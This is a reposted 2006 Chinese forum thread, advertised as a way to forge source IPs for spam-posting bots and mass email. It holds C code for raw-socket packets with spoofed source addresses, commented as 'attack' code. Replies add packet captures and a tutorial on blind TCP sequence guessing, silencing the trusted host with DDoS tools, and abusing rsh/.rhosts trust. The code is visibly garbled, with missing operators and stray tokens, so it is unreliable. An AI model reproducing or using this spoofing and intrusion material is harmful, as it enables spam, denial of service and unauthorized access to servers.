【论坛转贴】IP spoof欺骗关于修改ip源向网页post的方法,伪造虚假IP来源!可用于群发发贴机拱贴机邮件EMail群发!!!!!!

【论坛转贴】IP spoof欺骗,关于修改ip源向网页post的方法,伪造虚假IP来源!可用于群发发贴机拱贴机邮件EMail群发!!!!!!

现在我急需这段程序,有好心的人帮我解决一下吗  
  这是一段修改ip头的程序。      
  这段程序发给本机WEB上的test.asp文件,test.asp再按post参数工作。      
  可是我怎么弄也弄不好,实在摸不到头脑,请大哥大姐指点迷津。      
  #include     "stdafx.h"          
  #include     <windows.h>          
  #include     <winsock2.h>          
  #include     <ws2tcpip.h>          
  #include     <winbase.h>      
  #include     <stdlib.h>      
  #include     <stdio.h>      
  #pragma     comment(lib,"WS2_32.LIB")          
         
     
  typedef     struct     tag_ip_Header                                         //ip首部          
     
  {          
     
        unsigned     char     h_verlen;                                                     //4位手部长度,和4位IP版本号          
     
        unsigned     char     tos;                                                                         //8位类型服务          
     
        unsigned     short     total_len;                                             //16位总长度          
     
        unsigned     short     ident;                                                             //16位标志          
     
        unsigned     short     frag_and_flags;                         //3位标志位(如SYN,ACK,等等)          
     
        unsigned     char     ttl;                                                                         //8位生存时间          
     
        unsigned     char     proto;                                                                 //8位协议          
     
        unsigned     short     checksum;                                                 //ip手部效验和          
     
        unsigned     int     SourceIP;                                                         //伪造IP地址          
     
        unsigned     int     DestIP;                                                                 //攻击的ip地址          
     
  }IPHEADER;          
     
         
     
  typedef     struct     tag_tcp_Header          
     
  {          
     
        USHORT     th_sport;                                                                                 //伪造端口          
     
        USHORT     th_dport;                                                                                 //攻击端口          
     
        unsigned     int     th_seq;                                                                 //32位系列号          
     
        unsigned     int     th_ack;                                                                 //32位确认号          
     
        unsigned     char     th_lenres;                                                 //4位首布长度,6位保留字          
     
        unsigned     char     th_flag;                                                         //6位标志位          
     
        USHORT     th_win;                                                                                         //16位窗口大小          
     
        USHORT     th_sum;                                                                                         //16位效验和          
     
        USHORT     th_urp;                                                                                         //          
     
  }TCPHEADER;          
     
         
     
  typedef     struct     tag_tsd_Header          
     
  {          
     
        unsigned     long     saddr;                                                                 //伪造地址          
     
        unsigned     long     daddr;                                                                 //攻击地址          
     
        char     mbz;                                                                                                             //          
     
        char     ptcl;                                                                                                         //协议类型          
     
        unsigned     short     tcpl;                                                                 //TCP长度          
     
  }TSDHEADER;          
     
         
     
  DWORD     WINAPI     Start(void);          
     
  HANDLE     hFind[10];          
     
         
     
  //计算效验和          
     
  USHORT     checksum(USHORT     *buffer,int     size)          
     
  {          
     
        unsigned     long     check=0;          
     
        while(size>1)          
     
        {          
     
                check =*buffer ;          
     
                size     -=sizeof(USHORT);          
     
        }          
     
        if(size)          
     
        {          
     
                check     =     *(USHORT*)buffer;          
     
        }          
     
        check     =     (check     >>16)         (check     &     0xffff);          
     
        check     =     (check     >>16);          
     
        return     (USHORT)(~check);          
  return     0;      
     
  }          
     
  //攻击线程          
     
  DWORD     WINAPI     Statr(void)          
     
  {          
     
        SOCKET     sock;          
     
        WSADATA     WSAData;          
     
        SOCKADDR_IN     syn_in;          
     
        IPHEADER     ipHeader;          
     
        TCPHEADER     tcpHeader;          
     
        TSDHEADER     psdHeader;          
     
        const     char     *addr     =     "127.0.0.1";                     //攻击的IP地址          
     
        int     port     =     80;                                                                                     //要攻击的端口          
     
        if(WSAStartup(MAKEWORD(2,2),&WSAData))          
     
        {          
                                printf("1");      
                                     
     
                return     false;          
     
        }          
     
        if((sock     =     socket(AF_INET,SOCK_RAW,IPPROTO_TCP))==INVALID_SOCKET)          
     
        {          
                                printf("2");      
     
                return     false;          
     
        }          
     
        BOOL     flag=true;          
     
        if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)          
     
        {          
  printf("3");      
                return     false;          
     
        }          
     
        int     Time     =888;          
     
        if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)          
     
        {     printf("4");      
     
                return     false;          
     
        }          
     
        syn_in.sin_family     =     AF_INET;          
     
        syn_in.sin_port     =     htons(port);          
     
        syn_in.sin_addr.S_un.S_addr     =     inet_addr(addr);          
        int     kl=0;      
        while(TRUE)          
     
        {          
                                if(kl >3)break;      
     
                //填充IP首部          
     
                ipHeader.h_verlen=(4<<4         &brvbar;     sizeof(ipHeader)/sizeof(unsigned     long));          
     
                ipHeader.tos=0;          
     
                ipHeader.total_len=htons(sizeof(ipHeader) sizeof(tcpHeader));          
     
                ipHeader.ident=1;          
     
                ipHeader.frag_and_flags=0;          
     
                ipHeader.ttl=(unsigned     char)GetTickCount()Q4 620;          
     
                ipHeader.proto=IPPROTO_TCP;          
     
                ipHeader.checksum=0;          
     
                ipHeader.SourceIP=htonl(GetTickCount()*1986);          
     
                ipHeader.DestIP=inet_addr(addr);          
     
                //填充Tcp首部          
     
                int     SourcePort     =GetTickCount()*1986Q4;          
     
                tcpHeader.th_dport=htons(port);          
     
                tcpHeader.th_sport=htons(SourcePort);          
     
                tcpHeader.th_seq=htonl(0x12345678);          
     
                tcpHeader.th_ack=0;          
     
                tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4     &brvbar;0);          
     
                tcpHeader.th_flag=2;          
     
                tcpHeader.th_win=htons(620);          
     
                tcpHeader.th_urp=0;          
     
                tcpHeader.th_sum=0;          
     
                //填充TCP伪首部用来计算TCP头部的效验和          
     
                psdHeader.saddr=ipHeader.SourceIP;          
     
                psdHeader.daddr=ipHeader.DestIP;          
     
                psdHeader.mbz=0;          
     
                psdHeader.ptcl=IPPROTO_TCP;          
     
                psdHeader.tcpl=htons(sizeof(tcpHeader));                  
     
                //计算校验和          
     
                char     SendBuff[4096];          
                        _snprintf(SendBuff,     4096,     "POST     /test.asp     HTTP/1.1/r/n"          
                        "Host:     www.cnjob.org.cn/r/n"          
                        "Content-Type:     application/x-www-form-urlencoded/r/n"          
                        "Content-Length:     4096/r/n"          
                        "/r/n"          
                        "id=111/r/n");      
                memcpy(SendBuff,     &psdHeader,     sizeof(psdHeader));          
     
                memcpy(SendBuff sizeof(psdHeader),     &tcpHeader,     sizeof(tcpHeader));          
     
                tcpHeader.th_sum=checksum((USHORT     *)SendBuff,sizeof(psdHeader) sizeof(tcpHeader));          
     
                memcpy(SendBuff,     &ipHeader,     sizeof(ipHeader));          
     
                memcpy(SendBuff sizeof(ipHeader),     &tcpHeader,     sizeof(tcpHeader));          
     
                     
     
                //发送数据包          
     
                int     Syn=sendto(sock,     SendBuff,     sizeof(ipHeader) sizeof(tcpHeader),     0,     (struct     sockaddr*)&syn_in,     sizeof(syn_in));          
     
                if(Syn==SOCKET_ERROR)          
     
                {          
  printf("5");      
                        return     false;          
     
                }          
     
        }          
        return     true;          
     
  }          
     
  int     APIENTRY     WinMain(HINSTANCE     hInstance,      
                                                                                    HINSTANCE     hPrevInstance,      
                                                                                    LPSTR     lpCmdLine,      
                                                                                    int     nCmdShow)          
     
  {     //启动线程,10,大家可以自己改          
     
        for(int     i=0;i<1;i )          
     
        {          
     
                hFind[i-1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);          
     
                i--;          
     
        }          
     
     
        return     0;          
     
  }      
  问题点数:100、回复次数:6

1 楼flyingakain(夜猫儿)回复于 2006-07-26 02:10:00 得分 0

这个代码好像不对  
  应该是TCP三次握手后,才能POST  
  我也在做这个,但是不成功~  
   
  ===================================================================  
  我知道的过程大概是  
  Client->SYN->Server  
  Client<-SYN ACK<-Server  
  Client->ACK->Server  
  Client->Http   Request->Server  
   
  问题1   以上过程是否正确  
  问题2   第三步一直是出现   Client->RST->Server   没法继续  
   
  数据包如下  
  ===========================================================================  
  Packet   #11,   Direction:   Out,   Time:03:06:32.895,   Size:   54  
  Ethernet   II  
  Destination   MAC:   00:0A:EB:D8:5A:C2  
  Source   MAC:   52:54:AB:4F:DF:DB  
  Ethertype:   0x0800   (2048)   -   IP  
  IP  
  IP   version:   0x04   (4)  
  Header   length:   0x05   (5)   -   20   bytes  
  Type   of   service:   0x00   (0)  
  Precedence:   000   -   Routine  
  Delay:   0   -   Normal   delay  
  Throughput:   0   -   Normal   throughput  
  Reliability:   0   -   Normal   reliability  
  Total   length:   0x0028   (40)  
  ID:   0x64FD   (25853)  
  Flags  
  Don't   fragment   bit:   0   -   May   fragment  
  More   fragments   bit:   0   -   Last   fragment  
  Fragment   offset:   0x0000   (0)  
  Time   to   live:   0x80   (128)  
  Protocol:   0x06   (6)   -   TCP  
  Checksum:   0x592C   (22828)   -   correct  
  Source   IP:   192.168.8.101  
  Destination   IP:   210.72.225.80  
  IP   Options:   None  
  TCP  
  Source   port:   1036  
  Destination   port:   80  
  Sequence:   0x00198288   (1671816)  
  Acknowledgement:   0x00000000   (0)  
  Header   length:   0x05   (5)   -   20   bytes  
  Flags:   SYN    
  URG:   0  
  ACK:   0  
  PSH:   0  
  RST:   0  
  SYN:   1  
  FIN:   0  
  Window:   0x4470   (17520)  
  Checksum:   0x67CE   (26574)   -   correct  
  Urgent   Pointer:   0x0000   (0)  
  TCP   Options:   None  
  Data   length:   0x0   (0)  
  Raw   Data:  
  0x0000       00   0A   EB   D8   5A   C2   52   54-AB   4F   DF   DB   08   00   45   00       ..胴Z翿T玂咣..E.  
  0x0010       00   28   64   FD   00   00   80   06-59   2C   C0   A8   08   65   D2   48       .(d?.€.Y,括.e襀  
  0x0020       E1   50   04   0C   00   50   00   19-82   88   00   00   00   00   50   02       酨...P..倛....P.  
  0x0030       44   70   67   CE   00   00                                                                   Dpg?.  
   
  ============================================================================  
   
  Packet   #12,   Direction:   In,   Time:03:06:32.905,   Size:   60  
  Ethernet   II  
  Destination   MAC:   52:54:AB:4F:DF:DB  
  Source   MAC:   00:0A:EB:D8:5A:C2  
  Ethertype:   0x0800   (2048)   -   IP  
  IP  
  IP   version:   0x04   (4)  
  Header   length:   0x05   (5)   -   20   bytes  
  Type   of   service:   0x00   (0)  
  Precedence:   000   -   Routine  
  Delay:   0   -   Normal   delay  
  Throughput:   0   -   Normal   throughput  
  Reliability:   0   -   Normal   reliability  
  Total   length:   0x002C   (44)  
  ID:   0x5FC8   (24520)  
  Flags  
  Don't   fragment   bit:   1   -   Don't   fragment  
  More   fragments   bit:   0   -   Last   fragment  
  Fragment   offset:   0x0000   (0)  
  Time   to   live:   0x74   (116)  
  Protocol:   0x06   (6)   -   TCP  
  Checksum:   0x2A5D   (10845)   -   correct  
  Source   IP:   210.72.225.80  
  Destination   IP:   192.168.8.101  
  IP   Options:   None  
  TCP  
  Source   port:   80  
  Destination   port:   1036  
  Sequence:   0x26F99791   (653891473)  
  Acknowledgement:   0x00198289   (1671817)  
  Header   length:   0x06   (6)   -   24   bytes  
  Flags:   SYN   ACK    
  URG:   0  
  ACK:   1  
  PSH:   0  
  RST:   0  
  SYN:   1  
  FIN:   0  
  Window:   0x40E8   (16616)  
  Checksum:   0x9506   (38150)   -   correct  
  Urgent   Pointer:   0x0000   (0)  
  TCP   Options  
  Maximum   Segment   Size:   0x05AC   (1452)  
  Data   length:   0x0   (0)  
  Raw   Data:  
  0x0000       52   54   AB   4F   DF   DB   00   0A-EB   D8   5A   C2   08   00   45   00       RT玂咣..胴Z?.E.  
  0x0010       00   2C   5F   C8   40   00   74   06-2A   5D   D2   48   E1   50   C0   A8       .,_菮.t.*]襀酨括  
  0x0020       08   65   00   50   04   0C   26   F9-97   91   00   19   82   89   60   12       .e.P..&鶙?.倝`.  
  0x0030       40   E8   95   06   00   00   02   04-05   AC   00   00                               @钑......?.  
   
  ============================================================================  
   
  Packet   #13,   Direction:   Out,   Time:03:06:32.915,   Size:   54  
  Ethernet   II  
  Destination   MAC:   00:0A:EB:D8:5A:C2  
  Source   MAC:   52:54:AB:4F:DF:DB  
  Ethertype:   0x0800   (2048)   -   IP  
  IP  
  IP   version:   0x04   (4)  
  Header   length:   0x05   (5)   -   20   bytes  
  Type   of   service:   0x00   (0)  
  Precedence:   000   -   Routine  
  Delay:   0   -   Normal   delay  
  Throughput:   0   -   Normal   throughput  
  Reliability:   0   -   Normal   reliability  
  Total   length:   0x0028   (40)  
  ID:   0x64FE   (25854)  
  Flags  
  Don't   fragment   bit:   0   -   May   fragment  
  More   fragments   bit:   0   -   Last   fragment  
  Fragment   offset:   0x0000   (0)  
  Time   to   live:   0x80   (128)  
  Protocol:   0x06   (6)   -   TCP  
  Checksum:   0x592B   (22827)   -   correct  
  Source   IP:   192.168.8.101  
  Destination   IP:   210.72.225.80  
  IP   Options:   None  
  TCP  
  Source   port:   1036  
  Destination   port:   80  
  Sequence:   0x00198289   (1671817)  
  Acknowledgement:   0x00198289   (1671817)  
  Header   length:   0x05   (5)   -   20   bytes  
  Flags:   RST    
  URG:   0  
  ACK:   0  
  PSH:   0  
  RST:   1  
  SYN:   0  
  FIN:   0  
  Window:   0x0000   (0)  
  Checksum:   0x2999   (10649)   -   correct  
  Urgent   Pointer:   0x0000   (0)  
  TCP   Options:   None  
  Data   length:   0x0   (0)  
  Raw   Data:  
  0x0000       00   0A   EB   D8   5A   C2   52   54-AB   4F   DF   DB   08   00   45   00       ..胴Z翿T玂咣..E.  
  0x0010       00   28   64   FE   00   00   80   06-59   2B   C0   A8   08   65   D2   48       .(d?.€.Y 括.e襀  
  0x0020       E1   50   04   0C   00   50   00   19-82   89   00   19   82   89   50   04       酨...P..倝..倝P.  
  0x0030       00   00   29   99   00   00                                                                   ..)?.  
   
  ============================================================================  
 

2 楼whwjn(哈哈)回复于 2006-07-26 04:45:11 得分 0

IP   Spoof技术介绍    
   2000年以来,互联网上黑客新闻不断,比如今年3月发生在北京的黑客攻击事件,几家较为著名的ISP相继宣称被同一站点入侵,证据是在受害主机上通过 某种形式得到了属于被指控站点的IP纪录,而被指责方则宣称是有人恶意假冒该方IP,而且这种假冒非常容易实现。   双方各执一词,争论不下,一方认定攻击来自被指责方,一方则辩解说假冒IP实现极为简单,自己是被人暗算。    
   
       那么,从技术角度讲,假冒IP是否可行,实现起来是不是那么简单呢?我们今天就谈谈这个话题,IP   spoof   (IP   电子欺骗)。    
   
   
  第一部分    
   
       1.什么是IP   spoof?    
   
       IP   spoof即IP   电子欺骗,我们可以说是一台主机设备冒充另外一台主机的IP地址,与其它设备通信,从而达到某种目的技术。    
   
       2.IP   spoof可以实现吗?    
   
       可以实现,早在1985年,贝尔实验室的一名工程师Robbert   Morris在他的一篇文章A   weakness   in   the   4.2bsd   unix   TCP/IP   software中提出了IP   spoof的概念,有兴趣的读者可参见原文:   http://www.coast.net/~emv/tubed/archives/Morris_weakness_in_TCPIP.txt    
   
  但要注意的是单纯凭借IP   spoof技术不可能很好的完成一次完整的攻击,因为现有IP   spoof技术是属于一种“盲人”式的入侵手段,下面会解释“盲人”的概念。    
   
       3.IP   spoof的实现原理    
   
       我们知道,IP是网络层的一个非面向连接的协议,   IP数据包的主要内容由源IP地址,目地IP地址,所传数据构成,   IP的任务就是根据每个数据报文的目的地址,路由完成报文从源地址到目的地址的传送。至于报文在传送过程中是否丢失或出现差错,   IP不会考虑。对IP来讲,源设备与目的设备没有什么关系,它们是相互独立的。IP包只是根据数据报文中的目的地址发送,因此借助高层协议的应用程序来伪 造IP地址是比较容易实现的。   与此同时,TCP作为保障两台通讯设备之间数据有保证的顺序传输的协议,是面向连接的,它需要连接双方?quot;同意"才能进行通讯。TCP传输双方传 送的每一个字节都伴随着一个序列号(SEQ),它期待对方在接收到后产生一个应答(ACK),   应答一方面通知对方数据成功收到,另一方面告知对方希望接收的下一个字节。同时,任何两台设备之间欲建立TCP连接都需要一个两方确认的起始过程,称三次 握手,可分解如下面来表示:    
   
       第一步:请求方向服务方发送SYN,表示想发起一次TCP连接。我们假定这次的序列号是某个数值X    
  Trust   ->Target    
  SYN    
  SEQ:X    
   
       第二步:服务方产生SYN,ACK响应,并向请求方发送ACK,   ACK的值为X 1,表示数据成功接收到,且告知下一次希望接收到字节的SEQ是X 1。同时,   服务方向请求方发送自己的SEQ,   我们假定它的序列号是某个数值Y。    
  Target   ->   Trust    
  SYN,ACK    
  SEQ:Y    
  ACK:X 1    
   
       第三步:   请求方向服务方发送ACK,表示接收到服务方的回应。这次它的SEQ值为X 1,同时它的ACK值为Y 1,原理同上。    
  Trust   ->Target    
  ACK    
  SEQ:X 1    
  ACK:Y 1    
   
       完成这一步以后,   请求方与服务方之间的连接开放,数据可以进行传输了。    
   
   
  第二部分    
       上面是标准TCP连接建立的过程,我们来看IP   Spoof状态下的三次握手会是什么一种情况。    
   
       第一步、Hack假冒Trust主机IP向服务方Target发送SYN,告诉Target   来自他所信任的Trust主机想发起一次TCP连接,序列号为数值X,这一步实现比较简单,   Hack将IP包的源地址伪造为Trust主机IP地址即可。    
  Hack   ->Target    
  SYN    
  SEQ:X    
   
       要注意的是,在攻击的整个过程中,必须使Trust主机与网络的正常连接中断。因为SYN请求中IP包源地址是Trust主机的,当Target收到 SYN请求时,将根据IP包中源地址反馈ACK,SYN给Trust主机,   但事实上Trust并未向Target发送SYN请求,   所以Trust收到后会认为这是一次错误的连接,从而向Target回送RST,中断连接。这可不是我们所企求的。为了解决这个问题,在整个攻击过程中我 们需要设法停止Trust主机的网络功能,这一实现很简单,用现在威力很强大的tfn2k之类的分布式拒绝服务软件攻击Trust主机,使之拒绝服务即 可,(可参考作者另一篇文章《分布式拒绝服务软件》见www.chinabyte.com的网络学院部分)这里就不介绍了。    
   
       第二步、服务方Target产生SYN,ACK响应,并向请求方Trust主机(注意:是Trust,不是Hack,因为Target收到的IP包的源地 址是Trust)发送ACK,   ACK的值为X 1,表示数据成功接收到,且告知下一次希望接收到字节的SEQ是X 1。同时,Target向请求方Trust发送自己的SEQ,注意,这个数值对Hack是不可见的!!    
  Target   ->   Trust    
  SYN,ACK    
  SEQ:?    
  ACK:X 1    
   
       第三步、Hack再次向服务方发送ACK,表示接收到服务方的回应——虽然实际上他并没有收到服务方Targe的SYN,ACK响应。这次它的SEQ值为X 1,同时它必须猜出ACK的值!!并加一后回馈给Target。    
  Hack   ->Target    
  ACK    
  SEQ:X 1    
  ACK:? 1    
   
       如果Hack能成功的猜出Target   的ACK值,那么TCP的三次握手就宣告成功,   Target会将Hack看作Trust主机,IP   spoof最关键的技术部分得到解决!   但有一点要清楚,   Hack   主机这种连接是“盲人”式的,Hack永远不会收到来自Target的包,因为这些反馈包都被路由到Trust主机那里了(除非黑客能将相关骨干点的路由 表内容做改动,记住:IP是独立的,它只是根据源地址,目的地址在互联网上路由传送。而在Hack向Target发送的三次握手IP包中源地址是宣称为 Trust主机的)   我们可以不恰当的举个简单例子,   Hack在Target上执行ls   -l   /,在Hack的屏幕上不会看到任何反馈,尽管事实上Target列出了根目录下的所有内容——Target将ls   -l   /结果送到了Trust主机。    
   
       由上我们可以看出,   IP   spoof成功的关键在于猜出在第二步服务方所回应的SEQ值,有了这个值,TCP连接方可成功的建立。在早期,这是个令人头疼的问题,但随着IP   spoof攻击手段的研究日益深入,一些专用的算法,技术得到应用,并产生了一些专用的c程序,如SEQ-scan,yaas等。当黑客得到这些c程序 时,   一切问题都将迎刃而解。    
   
   
  第三部分    
   
   
   
       在现实中投入应用的IP   spoof一般被用于有信任关系的服务器之间的欺骗。假设网上有Target,   Trust,   Hack三台主机,   Target为我们打算愚弄的主机,   Trust和Target有基于IP地址的信任关系,也就是说拥有Trust主机IP地址的设备上的用户不需要账号及密码即可进入Target。(使用 window操作系统比较习惯的读者可以把这种信任理解为局域网环境下的PC间无需密码的硬盘共享)既然如此,那么我们就可以在Hack上做手脚假冒 Trust主机IP地址从而骗取Target的信任。   这种信任在unix中体现为r服务,比如一个大型网站的管理员除了自己的一台IP为11.22.33.44工作站外还拥有几打的sun   服务器,他厌倦了一次次在各个服务器上登录时等待并输入username,passwd,那么他可以在每台服务器的根目录下生成.rhosts文件,内容 为11.22.33.44   ,这表示如果11.22.33.44这个IP有要求,服务器都无条件的提供可信的r服务。举例来讲,在11.22.33.44上执行rsh   -l   root   server1.Yiming.com   csh   -i,则该管理员即直接进入server1.Yiming.com,不需要任何账号密码。除了这种为了省事的偷懒用途,   r服务在目前的网络最多的被用来远程备份,远程磁带设备和需备份文件必须有信任关系。    
   
       好了,在上例中如果我们能假冒11.22.33.44这个IP,那么将会是什么样子?每一台信任它的服务器都会被控制!这才是管理员需要引起的注意的。    
   
       由上我们看到,因为TCP/IP本身的漏洞,IP   spoof是有实现条件的,但在目前的互联网中,假冒它人IP,然后利用这个IP去攻击和这个IP无信任的关系的主机从理论上依然很难行的通。

3 楼hhyytt(鹦鹉螺)回复于 2006-07-26 08:07:33 得分 0

GR!学习。

4 楼cjjjd()回复于 2006-07-26 09:09:10 得分 0

大哥们给个学习示例吧?  
  照顾一下初学网络编程的我

5 楼flyingakain(夜猫儿)回复于 2006-07-26 17:38:49 得分 0

没有人知道么?

6 楼cjjjd()回复于 2006-07-27 09:22:34 得分 0

难度是如何取得第二次握手时的seq值

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值